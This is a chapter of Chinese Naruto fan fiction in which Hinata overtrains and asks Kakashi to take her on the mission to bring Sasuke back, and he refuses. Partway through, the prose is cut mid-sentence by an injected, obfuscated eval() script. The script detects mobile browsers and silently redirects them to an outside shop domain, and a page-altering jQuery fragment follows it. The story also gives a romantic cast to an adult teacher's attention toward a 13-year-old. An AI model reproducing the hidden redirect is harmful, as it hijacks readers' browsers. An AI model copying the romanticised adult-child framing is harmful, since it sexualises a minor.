第十六章:你不能去
接下来的日子里,雏田没有再去医院。
不是不想。
只是卡卡西老师已经醒了。
醒来的人就不再需要被守着。
他会重新回到自己的生活里,回到任务里,回到第七班里,回到那个她没有理由每天靠近的位置。
而她也应该回到自己的位置。
回到训练场,回到第八班,回到日向家的道场,回到那个还不够强、还需要拼命往前走的自己身上。
所以她开始训练。
比以前更认真。
清晨时跟着第八班练习追踪与配合,午后回日向家的道场和宁次练习柔拳,晚上则一个人在庭院里反复出掌。
掌心磨红了,手腕发酸了,胸口的旧伤被牵扯得发闷,她也只是停下来喘一会儿,然后继续。
“手腕太低。”
宁次站在她对面,声音仍旧冷淡。
雏田立刻抬高手腕。
“是。”
“出掌之前不要犹豫。”
“是。”
“你在想别的事。”
雏田的动作猛地一顿。
宁次看着她。
“雏田大小姐,你最近总是这样。”
“对不起……”
话刚出口,她又停住。
宁次皱了皱眉。
“我不是要听你道歉。”
雏田低下头。
庭院里的风吹过她的额发,露出一截白皙的脸。训练后的汗水沿着鬓角滑下来,她的脸颊因为疲惫泛着红,白眼湿润又清亮,像被水洗过的玉。
她比以前更容易被人注意到了。
不是因为她忽然变得锋利,也不是因为她刻意显露自己。
恰恰相反,她仍旧很轻,很软,说话时声音温温柔柔,连被指出错误都先下意识低头。
可是宁次能看出来,她变了。
她的身上多了一点不肯停下的东西。
像一株原本长在阴影里的花,终于被风吹醒,却因为害怕重新被丢回暗处,于是拼命地想要往上长。
宁次看着她,心里浮起一种说不清的烦躁。
“够了。”
雏田抬头。
“宁次哥哥?”
“今天到这里。”
“可是我还可以……”
“你不可以。”
宁次打断她。
语气比平时重了一点。
雏田怔住。
宁次看见她眼底一闪而过的不安,手指微微收紧。过去他曾经很擅长用这种眼神刺伤她,现在却忽然觉得那样的自己很可笑。
他偏过头。
“你的心脉伤还没有完全恢复。继续练下去,只会影响之后的修行。”
雏田小声说:
“我想快点追上大家。”
宁次沉默了一下。
他当然知道。
她想追上鸣人,想追上第八班,想回应父亲迟来的关注,也想证明自己不是那个永远低头的宗家大小姐。
可他总觉得不止这些。
最近的雏田,有时候会在训练间隙看向夜空。
不是看太阳。
不是寻找鸣人的方向。
而是在看月亮。
如果月亮还没升起来,她的神情会有一点说不出的失落。
很淡。
别人未必看得出来。
可宁次看得出来。
因为他曾经太熟悉她的失落了。
“想变强,不代表要把自己逼垮。”宁次说。
雏田慢慢垂下眼。
“我知道。”
她知道。
可她还是想再快一点。
快一点长大。
快一点变强。
快一点变成不需要被人当成孩子揉头的样子。
快一点有资格,把那些“以后”变成真正能抵达的地方。
等我长大以后。
这句话像一颗小小的种子,落在她心里。
一开始只是玩笑。
只是她误会了那本“亲热忍术”的书。
可后来,这句话却变得越来越沉。
等她长大以后,是不是就不会再被卡卡西老师当成孩子?
等她长大以后,是不是就可以更自然地关心他?
等她长大以后,是不是就能站得离他近一点,而不用每次都先替自己找退路?
雏田被自己的念头烫了一下。
脸忽然红了。
宁次看见她红脸,眉头皱得更深。
“你发烧了?”
“没、没有。”
她慌忙摇头。
宁次盯着她看了一会儿,最终冷声道:
“今天休息。”
说完,他转身离开。
雏田站在原地,轻轻按住胸口。
心脏跳得很快。
不是因为伤。
也不是因为训练。
她低下头,小声对自己说:
不能再想了。
现在不是想这些的时候。
她要训练。
要追上鸣人君。
要成为能被父亲认可的忍者。
要不再让卡卡西老师担心。
可是越是不让自己想,银灰色的头发、弯着的眼睛、那句“我当然想吃啊,雏田”,就越是会在不经意时浮出来。
像月光。
不刺眼。
却无处不在。
---------------
那天晚上,雏田一个人留在道场。
佣人提醒过她该休息了。
父亲也曾说过,身体不行时休息也是修炼的一种。
可她还是没能停下来。
木质地板被夜里的凉意浸得微冷,窗外蝉声断断续续。月亮升起来了,冷白的光从窗格外铺进来,落在道场中央。
雏田站在那片月光里,一遍遍出掌。
柔拳的动作本该流畅,像水,又像风。
可她的身体越来越沉。
每一次抬手,胸口都像被细线扯住。起初只是闷痛,后来连呼吸都变得有些困难。
她咬住唇。
再一次。
再打一遍就停下。
掌风落空。
她脚下一软,身体随着出掌的动作向前扑倒。
木地板撞上膝盖,疼痛迟了一瞬才传来。
“雏田大小姐!”
门口似乎传来焦急的声音。
她想抬头,说自己没事。
可是眼前的月光忽然碎开,白茫茫一片,什么也看不清。
--------------
再次清醒时,已经是第二天下午。
雏田睁开眼,发现自己躺在房间里。
佣人守在旁边,见她醒来,立刻松了口气。
“大小姐,您终于醒了。”
雏田怔了一下。
下一秒,她猛地想起什么。
今天下午,要和宁次哥哥一起训练。
她迟到了。
雏田挣扎着坐起来。
胸口还有些闷,手脚也发软。佣人连忙阻拦:
“大小姐,日足大人说您今天必须休息。”
“我没事。”
雏田掀开被子。
“我和宁次哥哥约好了。”
“大小姐!”
她没有听。
简单整理后,便匆匆往道场赶去。
可是道场里没有人。
木门半开着,阳光斜斜照进来,地板上空空荡荡。
宁次不在。
雏田站在门口,心里一慌。
是因为她迟到了,所以宁次哥哥走了吗?
还是……对她失望了?
她转身想去分家找人,却差点撞上迎面而来的日足。
“怎么了?”
父亲的声音响起。
雏田立刻停下,低头行礼。
“父上大人。我是去找宁次哥哥的。以前这个时候,宁次哥哥都会陪我练习,可是今天……”
日足看着她。
她脸色仍然苍白,身体还没完全恢复,额前碎发因匆忙而有些凌乱。明明昨天才因为过度训练晕倒,今天一醒来就又往道场跑。
太勉强了。
这个孩子一直在勉强自己。
日足沉默了一会儿。
他忽然想起医院里,雏田躺在病床上的样子。那时候他站在窗外,看着医生为她检查,却始终没有走进去。
越是愧疚,越是不知道如何面对。
身为父亲,他做得太迟。
也太少。
“不要太勉强。”
日足开口。
雏田愣住。
“父上大人?”
“身体不行的话,就好好休息。”
他说得仍旧不算温柔。
可雏田却像被这句话击中,白色的眼睛里迅速浮起湿润的光。
父亲在担心她。
不是责备。
不是失望。
是担心。
她心里忽然又酸又暖,连呼吸都轻了下来。
“可是,父上大人……我想去练习。宁次哥哥不在的话,我一个人也可以。”
日足皱起眉。
这个女儿固执起来,竟然比想象中更让人生气。
也更让人担心。
“休息也是修炼的一种,雏田。”
雏田怔住。
“宁次不在的话,就趁这个机会休息。”
她慢慢低下头。
“……是,父上大人。”
日足看了她一眼,像还想说什么,最终只是轻轻“嗯”了一声,转身离开。
雏田站在原地,望着父亲的背影。
父亲,对不起。
她在心里轻轻说。
她不想欺骗父亲。
可是她停不下来。
不能在家里练习的话,出去也一样。
她想去找牙和志乃。
同伴的话,应该不会拒绝她。
------------
可是牙不在。
志乃也不在。
雏田先去了第八班常去的训练场,没有人。又去了牙家附近,听说牙一早就出门了。志乃家也没有人回应。
宁次不在。
牙不在。
志乃也不在。
像一夜之间,大家都被什么事情卷走了。
雏田心里越来越不安。
她去找红老师。
夕阳红听见她的问题后,也微微皱眉。
“牙和志乃不在?”
“是的,红老师。”雏田声音有些急,“宁次哥哥也不在。我问了很多人,都说没有看见他们。”
红沉吟片刻。
她似乎知道了什么,却没有立刻说出口。
“雏田,你身体还没恢复,先回去休息。”
又是休息。
雏田心口忽然一紧。
所有人都让她休息。
父亲,宁次,红老师。
她知道他们是关心她。
可正因为知道,心里反而更难受。
她不想只被留下。
不想在大家都奔向某个危险地方时,只有她因为身体不好、实力不足,被温柔地挡在后面。
她从红那里离开后,在街上犹豫了很久。
还能问谁?
忽然,一个名字浮上来。
卡卡西老师。
他也许知道。
如果是重大事件,卡卡西老师一定会知道。
她几乎没有犹豫,立刻赶往医院。
可是护士告诉她,卡卡西已经离开了。
“听说是去了火影大人那里。”奈久护士说,“应该是有紧急任务吧。”
火影大人。
纲手大人。
果然出事了。
而且是很大的事。
雏田的手指慢慢收紧。
宁次哥哥他们不见了。
牙和志乃也不见了。
卡卡西老师也被叫去火影办公室。
她一直说想为木叶做点什么。
一直说想变强,想不再只被保护。
现在事情发生了,她怎么能只站在这里?
雏田转身,朝火影办公室赶去。
身体仍然沉。
昨天晕倒后的虚弱感并没有消失。跑起来时,胸口旧伤隐隐发疼,呼吸也有些断续。
可是她没有停。
她想帮忙。
哪怕只是一点点。
哪怕只负责侦查也好。
她有白眼。
她可以看很远,可以发现敌人,可以成为大家的眼睛。
她不是完全没用。
她想这样证明。
也想这样告诉自己。
----------------
赶到火影办公室时,雏田已经气喘吁吁。
她扶住门框,努力平复呼吸。
屋内的人同时看向她。
纲手坐在桌后,眼神锐利。那是新任火影的目光,压迫感强得让人下意识想低头。
而在她面前,站着卡卡西。
银灰色的背影落入眼中时,雏田心里竟然先是一松。
太好了。
卡卡西老师还没有走。
他已经换回忍者装束,身形仍有些病后初愈的清瘦,可背影依然挺直。像只要他站在那里,事情就还有办法。
卡卡西回头看见她,露出的那只眼睛微微一动。
“雏田?”
纲手的声音紧接着响起。
“有事吗,日向雏田?”
雏田被那道威严的声音压得心口一紧。
她其实并不知道具体发生了什么。
也不知道自己该怎么解释为什么会赶来。
越是着急,越是说不出话。
她手指绞在一起,脸色因为奔跑和紧张微微泛红。白色的眼睛里有不安,也有很清楚的坚持。
卡卡西看着她。
只一眼,他就明白了。
这个孩子大概什么都不知道,只是发现身边的人不见了,便一路追到这里。
“你也想去吗,雏田?”
他开口。
雏田愣了一下。
去哪里?
是什么任务?
她不知道。
可是如果宁次哥哥、牙、志乃、鸣人君都在那里,如果卡卡西老师也要去,那一定很重要。
她立刻点头。
“是的,卡卡西老师,纲手大人。”
纲手皱起眉。
“如果只是为了鸣人才想去,那就免了。”
鸣人君也去了?
雏田心里一紧。
可这次不是因为鸣人君。
至少,不只是。
她是因为宁次哥哥不见了,因为牙和志乃不见了,因为整个村子的空气都像绷紧了一根线。
也因为卡卡西老师要去危险的地方。
她想帮忙。
可是这些话在纲手锐利的目光下堵在喉咙里,怎么也说不出来。
她急得眼眶有些发热。
“我……”
卡卡西看了她一眼,随后向纲手点头。
“我先出发。”
纲手冷声道:
“快去。”
“是。”
卡卡西转身准备
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17821950|211160||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
离开。
雏田见他要走,终于慌了。
“那、那个……我也想去。”
卡卡西的脚步停住。
他没有立刻回答。
只是回头看她。
那一眼和平时很不一样。
没有懒洋洋的笑,也没有故意逗她的无辜。那只眼睛沉下来,像被风吹散了所有轻松,只剩下上忍执行任务时的冷静。
“出来再说吧,雏田。”
雏田怔怔点头,跟着他走出火影办公室。
门关上后,走廊一下子安静许多。
雏田立刻问:
“卡卡西老师,是什么事呢?”
卡卡西看着她。
“你不知道是什么事,就想跟着去吗?”
雏田脸红了。
这句话听起来太冲动了。
也太幼稚了。
她低下头,却还是诚实地说:
“无论是什么事,一定很重大吧?我……也想帮上忙。”
卡卡西没有笑。
“你不能去。”
声音很冷。
也很坚定。
雏田愣住。
她从没听过卡卡西用这样的语气对她说话。
就算是劝她不要拿命证明自己时,他也是温和的。就算逗她、装可怜、被她问得狼狈时,他也从不让她觉得害怕。
可现在,他的拒绝没有半点余地。
像一道门在她面前合上。
“为什么?”
她忍不住问。
声音很轻。
带着一点受伤。
卡卡西看见她的表情,心里微微一动,却没有放软。
“大蛇丸派人带走了佐助。鸣人他们已经前去追击。”
雏田脸色变了。
“佐助君……”
“这次任务很危险。”卡卡西继续道,“搞不好,会有生命危险。”
生命危险。
鸣人君在那里。
宁次哥哥可能在那里。
牙和志乃也许也在那里。
佐助被大蛇丸的人带走。
所有她在意的人,好像都在危险里。
雏田心里更急。
“那我更应该……”
“雏田。”
卡卡西打断她。
声音不高,却很重。
雏田一下子停住。
他很少这样叫她。
不是温和的“雏田”,不是逗弄的“雏田啊”,而是带着命令意味的、严厉的叫法。
她抬头,对上他的眼睛。
那只眼睛很冷静,也很锋利。
像在责备她。
不。
不是像。
是真的在提醒她:现在不是任性的时候。
雏田的手指慢慢收紧。
她忽然清醒过来。
自己的身体还没恢复。
昨天才晕倒。
现在甚至只是跑到这里,就已经气喘吁吁。
如果她去了,真的能帮上忙吗?
还是会成为卡卡西老师的负担?
她有白眼。
可是她的体力和查克拉能撑多久?
如果在关键时刻倒下,如果让卡卡西老师为了保护她分心,如果因为她的冲动导致任务失败……
那不就是违背了她想帮忙的初衷吗?
雏田垂下眼。
羞愧和难过一起涌上来。
“……对不起,卡卡西老师。”
她又道歉了。
可这次,卡卡西没有立刻逗她不要道歉。
因为他知道,这个道歉里有她终于明白自己的不成熟。
刚刚是不是太严厉了?
她还是个孩子。
也是出于好心。
卡卡西心里叹了一声,语气终于柔和了一点。
“不要紧哦,雏田。”
雏田抬头。
卡卡西看着她。
“不过,你对卡卡西老师也应该有信心吧。”
他弯了弯眼。
那一点熟悉的温和终于回来了。
“我会把他们带回来的。”
雏田的眼睛微微亮起。
“卡卡西老师去的话,一定会成功的。”
她说得这样真心。
几乎没有怀疑。
那种信任落在卡卡西身上,明明很轻,却让他心里沉了一下。
他本来想说:跟你约定。
可话到嘴边,忽然想起之前那个让他差点呛死的“约定”。
等我长大以后,教我那个忍术吧。
卡卡西罕见地停顿了一下。
算了。
现在还是不要随便说约定比较好。
尤其是对雏田。
她是真的会记住。
于是他换了句话。
“我会连雏田的那份一起努力。”
雏田怔住。
这句话像一只手,轻轻接住了她刚才被拒绝后的失落。
她不能去。
但她的心意没有被否定。
卡卡西老师说,会连她的那份一起努力。
她的脸慢慢红了。
“是……”
卡卡西抬手,轻轻掠过她的头发。
不像上次那样揉乱,只是安抚似的一触即过。
“所以,放心吧。”
雏田站在原地,眼睛有些湿润。
她很想再说些什么。
请小心。
请一定回来。
请不要又逞强。
请不要因为守护别人,就忘记自己也很重要。
可是时间不等人。
任务不等人。
卡卡西也不能一直留在这里听她笨拙地组织语言。
所以她只是抬起头,很认真地说:
“卡卡西老师。”
“嗯?”
“请一定要回来。”
卡卡西的眼神微微一顿。
雏田脸红得厉害,却没有低头。
“因为……我会等您。”
走廊里安静了一瞬。
这句话太直了。
比“请小心”更重。
也比“我相信您”更柔软。
卡卡西看着她。
小姑娘站在那里,身体明明还虚弱,脸色也不算好,白色眼睛却清澈得令人无法移开视线。她不知道自己这样有多动人,不知道那句“我会等您”从她温柔好听的声音里说出来,会像一根细线一样缠住人心。
她还是十三岁。
还是个孩子。
所以这句话不该被往更深处理解。
可卡卡西发现,自己竟然没有办法立刻用玩笑带过去。
片刻后,他弯起眼。
声音低了一点。
“嗯。”
他说。
“我会回来。”
没有说约定。
却比约定更像承诺。
雏田看着他转身。
银灰色的背影很快消失在走廊尽头。
她站在那里,直到再也看不见他,才慢慢低下头。
胸口仍然闷痛。
身体仍然疲惫。
可她忽然明白了一件事。
不是每一次想帮忙,都必须冲到战场上。
有时候,等待也是一种很难的事。
相信也是。
她不能去。
那就等他回来。
等鸣人君,等宁次哥哥,等牙和志乃,等佐助君,也等卡卡西老师。
雏田抬手,轻轻按住胸口。
她小声说:
“我会等的。”
无论月亮什么时候升起来。
她都会等。